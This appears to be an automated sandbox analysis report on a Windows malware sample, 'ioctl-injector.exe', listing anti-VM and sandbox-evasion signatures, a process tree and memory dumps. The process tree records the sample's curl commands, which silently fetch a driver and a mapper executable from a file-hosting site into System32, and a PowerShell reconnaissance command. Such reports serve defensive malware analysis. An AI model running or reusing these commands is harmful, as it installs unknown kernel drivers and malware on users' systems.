Analysis
- user interaction
yes - max time kernel
30s - max time network
30s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
16/07/2026, 22:25
General
- Target ioctl-injector.exe
- Size 1.1MB
- Sample260716-2cb1fafs6q
- SHA256 66fcd65be87d3a4d98949e0226255ca115fe6ffef1e9d6fb96d0aa27024f3006
Malware Config
Signatures
- Enumerates VirtualBox registry keys 2 TTPs 5 IoCs
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
- Looks for VMWare Tools registry key 2 TTPs 1 IoCs
- Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\ioctl-injector.exe"C:\Users\Admin\AppData\Local\Temp\ioctl-injector.exe"1⤵
- Enumerates VirtualBox registry keys
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Checks for VirtualBox DLLs, possible anti-VM trick
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer, Model, Name, UserName, Domain | Out-File -FilePath $env:TEMP\wmicheck.tmp -Encoding ascii"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -L --silent https://files.catbox.moe/t1gwbw.sys --output C:\Windows\System32\driver_mapped.sys >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -L --silent https://files.catbox.moe/t1gwbw.sys --output C:\Windows\System32\driver_mapped.sys3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c curl -L --silent https://files.catbox.moe/m9mkjr.bin --output C:\Windows\System32\mapper.exe >nul 2>&12⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -L --silent https://files.catbox.moe/m9mkjr.bin --output C:\Windows\System32\mapper.exe3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/5472-9-0x00007FF880DDF000-0x00007FF880DE0000-memory.dmp
memory/5472-10-0x00007FF880C50000-0x00007FF8815F4000-memory.dmp
memory/5472-13-0x000001E3FBFB0000-0x000001E3FBFD2000-memory.dmp
memory/5472-14-0x00007FF880C50000-0x00007FF8815F4000-memory.dmp
memory/5472-15-0x00007FF880C50000-0x00007FF8815F4000-memory.dmp
memory/5472-16-0x00007FF880C50000-0x00007FF8815F4000-memory.dmp
memory/5472-17-0x00007FF880C50000-0x00007FF8815F4000-memory.dmp
memory/5472-20-0x000001E3FC080000-0x000001E3FC09E000-memory.dmp
memory/5472-21-0x000001E3FC0A0000-0x000001E3FC152000-memory.dmp
memory/5472-22-0x00007FF880C50000-0x00007FF8815F4000-memory.dmp
memory/5472-23-0x00007FF880C50000-0x00007FF8815F4000-memory.dmp
memory/5472-24-0x00007FF880C50000-0x00007FF8815F4000-memory.dmp
memory/5472-31-0x000001E3FC510000-0x000001E3FC534000-memory.dmp
memory/5472-30-0x000001E3FC510000-0x000001E3FC53A000-memory.dmp
memory/5472-29-0x00007FF880C50000-0x00007FF8815F4000-memory.dmp
memory/5472-28-0x000001E3FC070000-0x000001E3FC07A000-memory.dmp
memory/5472-27-0x00007FF880C50000-0x00007FF8815F4000-memory.dmp
memory/5472-26-0x00007FF880C50000-0x00007FF8815F4000-memory.dmp
memory/5472-25-0x00007FF880C50000-0x00007FF8815F4000-memory.dmp
memory/5472-34-0x00007FF880C50000-0x00007FF8815F4000-memory.dmp